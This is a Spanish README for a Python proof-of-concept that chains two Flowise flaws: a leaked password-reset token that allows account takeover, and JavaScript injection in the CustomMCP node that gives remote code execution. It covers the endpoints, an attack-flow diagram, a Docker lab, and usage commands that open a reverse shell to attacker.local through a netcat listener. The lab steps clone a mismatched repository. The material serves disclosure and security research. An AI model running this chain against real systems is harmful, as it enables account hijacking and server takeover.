
FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demostrando ATO no autenticado mediante filtración de token de restablecimiento, seguido de RCE autenticado. Incluye un entorno de laboratorio Docker reproducible.
⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los que no tengas permiso por escrito es ilegal.
Este repositorio contiene una prueba de concepto en Python para encadenar dos vulnerabilidades de Flowise:
Flowise es una plataforma de arrastrar y soltar para construir aplicaciones LLM y flujos de trabajo de agentes de IA. CVE-2025-59528 afecta a Flowise 3.0.5 y se corrigió en 3.0.6. El problema proviene del procesamiento inseguro de mcpServerConfig dentro del nodo CustomMCP. CVE-2025-58434 está relacionado con la exposición del token de restablecimiento de contraseña y también se abordó en Flowise 3.0.6.
La herramienta admite:
El flujo vulnerable de restablecimiento de contraseña expone datos sensibles del usuario, incluidos tokens temporales de restablecimiento de contraseña, en la respuesta de la API. Un atacante que conozca una dirección de correo electrónico válida de usuario puede solicitar un restablecimiento de contraseña, recuperar el token temporal de la respuesta y usarlo para establecer una nueva contraseña para la cuenta.
El comportamiento vulnerable afecta a las implementaciones en la nube de Flowise y a las locales/autoalojadas que exponen la misma superficie de API. La solución es nunca devolver tokens de restablecimiento de contraseña ni datos sensibles de restablecimiento de cuenta directamente en las respuestas de la API.
La vulnerabilidad existe en el nodo CustomMCP de Flowise. El parámetro mcpServerConfig se analiza como parte del proceso de configuración del servidor MCP y se evalúa como código JavaScript sin ninguna validación de seguridad. Esto permite a un atacante autenticado inyectar código JavaScript arbitrario, que se ejecuta en el entorno Node.js del servidor Flowise. En la función convertToValidJSONString, la entrada del usuario se pasa al constructor Function, que evalúa la entrada como código JavaScript con privilegios completos de Node.js, lo que permite acceder a módulos como child_process para ejecutar comandos del sistema.
El endpoint vulnerable utilizado por esta PoC es:
POST /api/v1/node-load-method/customMCP
con payload js en el campo mcpServerConfig del cuerpo JSON, por ejemplo:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
El código vulnerable se encuentra en el archivo CustomMCP.ts, y se hace referencia a él en el Aviso del Mantenedor de Github para el CVE.
Atacante Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ objeto usuario + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ contraseña cambiada │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<config manipulada> │
│─────────────────────────────────────────►│
│ JS evaluado en Node.js
│ comando ejecutado
│◄─────────────────────────────────────────│
│ salida del comando o payload ejecutado │
│ │
✓ Toma de cuentas + RCE autenticado
Estructura del Repositorio
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurar variables de entorno
docker-compose up -d
Sin ningún argumento, la herramienta ejecutará la cadena de ataque completa, verificando la vulnerabilidad del objetivo, realizando la toma de cuentas para el correo electrónico proporcionado, iniciando sesión para recuperar cookies y luego explotando la vulnerabilidad RCE con un payload de reverse shell. Ejecuta un listener dedicado (por ejemplo, nc -lvnp 9889) antes de ejecutar la herramienta en modo cadena completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Realiza una verificación de versión para determinar si el objetivo es vulnerable a CVE-2025-58434 y CVE-2025-59528. Envía una solicitud a la API del objetivo y analiza la respuesta para identificar la versión de Flowise y el estado de vulnerabilidad.
python3 exploit.py --target http://localhost:3000 check